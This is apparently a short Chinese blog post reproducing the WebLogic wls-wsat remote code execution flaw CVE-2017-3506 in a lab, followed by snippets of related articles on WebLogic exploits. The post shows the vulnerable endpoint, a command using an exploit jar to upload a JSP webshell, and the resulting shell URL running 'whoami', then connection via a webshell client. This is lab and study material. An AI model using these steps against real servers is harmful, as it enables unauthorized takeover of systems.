CVE-2017-3506 Weblogic 远程代码执行

最新推荐文章于 2024-09-20 18:19:46 发布
最新推荐文章于 2024-09-20 18:19:46 发布
阅读量468 收藏 1
点赞数 3
分类专栏： weblogic漏洞 文章标签： 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_53639243/article/details/135911831
版权

web页面

拼接路径访问 /wls-wsat/CoordinatorPortType

WebLogic-XMLDecoder.jar

传jsp马

 java -jar WebLogic-XMLDecoder.jar -s http://192.168.92.80:7001 /wls-wsat/CoordinatorPortType shell.jsp
[+] Success
[+] http://192.168.92.80:7001/wls-wsat/shell.jsp?password=secfree&command=whoami

利用

通过工具上传jsp文件

通过冰蝎连接

复现CVE-2021-2109 (Weblogic Server远程代码执行漏洞)
记录并分享学习安全的知识点..
01-19 4043
一、漏洞介绍 2021年1月20日，Oracle官方发布了漏洞补丁，修了包括 CVE-2021-2109 Weblogic Server远程代码执行漏洞在内的多个高危严重漏洞。CVE-2021-2109 中，攻击者可构造恶意请求，造成JNDI注入，执行任意代码，从而控制服务器。 二、影响版本 WebLogic 3.6.0.0 WebLogic 1.3.0.0 WebLogic 2.1.3.0 WebLogic 2.1.4.0 漏洞判别方式：http://x.x.x.x:7001/conso
【Vulfocus】weblogic wls-wsat组件远程命令执行（CVE-2017-3506）漏洞复现
最新发布
JavaLord123的博客
09-26 695
本文详细描述了Vulfocus靶场中weblogic wls-wsat组件远程命令执行（CVE-2017-3506）复现过程
cve-2017-3506&cve-2017-10271简析
一个安全研究员
05-27 8069
如题
weblogic CVE-2017-3506 靶场攻略
shw_yzh的博客
09-20 524
Weblogic的WLS Security组件对外提供了webserver服务，其中使⽤了XMLDecoder来解析⽤户输⼊的XML数据，在解析过程中出现反序列化漏洞，可导致任意命令执⾏。受影响版本：WebLogic 10.3.6.0, 12.1.3.0, 12.2.1.1, 12.2.1.2。访问以下⽬录中的⼀种，有回显如下图可以判断wls-wsat组件存在。2.在当前⻚⾯抓包之后，添加下⾯请求包，反弹shell。1.验证是否存在wls-wsat组件。
【精选】WebLogic-CVE-2017-3506
人若无名，便可专心练剑
12-06 577
记得要在WebLogic-XMLDecoder.jar文件中的目录下进行执行，要不然会报错。用123替换下burp里面的内容，然后进行测试下。先进行检测下漏洞是否存在。
weblogic wls-wsat组件远程命令执行（CVE-2017-3506）
YouthBelief的博客
11-01 8350
weblogic wls-wsat组件远程命令执行（CVE-2017-3506） 前言 与weblogic 反序列化（CVE-2017-10271）类似 一般情况下weblogic会开放7001以及7002端口 0x01 漏洞描述 wls-wsat组件远程命令执行 如果访问/wls-wsat/CoordinatorPortType11目录，存在下图则说明或许存在漏洞 /wls-wsat/CoordinatorPortType11 0x02 影响范围 OracleWebLogic Server10.3.6.
weblogic系列漏洞整理 -- 4. weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271、CVE-2017-3506)...
weixin_30773135的博客
04-24 744
目录 四、 weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271) 0. 漏洞分析 1. 利用过程 2. 修复建议 一、weblogic安装 http://www.cnblogs.com/0x4D75/p/8...
Weblogic漏洞（CVE-2017-3506）
qq_68186313的博客
08-06 313
Veblogic的WLS Security组件对外提供了webserver服务，其中使用了XMLDecoder:来解析用户输入的XML数据，在解析过程中出现反序列化漏洞，可导致任意命令执行。1、验证是否存在wls-wsat组件。4、使用哥斯拉连接回显的地址。2、使用漏洞利用工具检测。
Weblogic反序列化远程代码执行漏洞(CVE-2018-2893)
09-14
Weblogic反序列化远程代码执行漏洞（CVE-2018-2893）是Oracle WebLogic Server中一个严重安全问题，它涉及到组件T3协议处理中的对象反序列化过程。该漏洞允许攻击者通过构造恶意的T3请求，远程执行任意代码，从而...
CVE-2017-10271 Weblogic反序列化漏洞补丁（FMJJ） 自己已经打上补丁了。欢迎下载
02-24
在2017年，WebLogic服务器被发现存在一个名为CVE-2017-10271的安全漏洞，这是一个高危级别的反序列化漏洞。这个漏洞允许攻击者通过构造恶意的Java对象序列化数据，远程执行任意代码，从而控制受影响的系统。 **CVE-...
WebLogic WLS远程执行漏洞(CVE-2017-10271)验证
12-18
一段小代码，WebLogic WLS远程执行漏洞(CVE-2017-10271)验证。
Weblogic 反序列化漏洞检查工具CVE-2017-10271.zip
07-09
Weblogic 反序列化漏洞检查工具CVE-2017-10271.zip
CVE-2019-2725:WebLogic不安全反序列化-CVE-2019-2725有效负载生成器和漏洞利用
04-25
CVE-2019-2725 WebLogic Universal Exploit-CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729有效负载生成器和利用 信息/帮助 $ python3 weblogic_exploit.py -h ======================================================================== | WebLogic Universal Exploit | | CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729 | |
复现xray——CVE-2020-14750（Weblogic远程代码执行漏洞）
记录并分享学习安全的知识点..
01-19 3282
一、漏洞介绍 Oracle Fusion Middleware（Oracle融合中间件）是美国甲骨文（Oracle）公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。Oracle WebLogic Server Oracle Fusion Middleware Console 多版本存在安全漏洞，该漏洞是CVE-2020-14882 补丁的绕过，远程攻击者可以构造特殊的 HTTP 请求，在未经身份验证的情况下接管 WebLogic Server Console ，从而执行任意代
【Vulhub】CVE-2017-3506 Weblogic 远程代码执行
weixin_61899124的博客
07-07 431
docker-compose ps 拼接路径访问抓包修改请求包访问冰蝎连接。
Weblogic xmlDecoder反序列化漏洞
buffedon的博客
08-04 1879
Weblogic xmlDecoder反序列化漏洞Weblogic xmlDecoder漏洞分析CVE-2017-3506CVE-2017-10271环境搭建漏洞探测漏洞利用其他PoC Weblogic xmlDecoder CVE-2017-10271 影响版本 Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞（CVE-2017-10271） Oracle WebLogic Server12.2.1.1 Oracle WebLogic Server12.2
Weblogic RCE合集
Aiwin的博客
05-09 1701
Weblogic RCE合集
以下Weblogic漏洞为反序列化的有 （2分） A CVE-2017-10271 B CVE-2018-2628 C CVE-2014-4210 D CVE-2017-3506
06-08
CVE-2017-10271：WebLogic Server WLS-WSAT组件反序列化漏洞，攻击者可以通过构造特定的HTTP请求，实现远程代码执行。 B. CVE-2018-2628：WebLogic Server T3协议反序列化漏洞，攻击者可以通过构造特定的T3协议...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值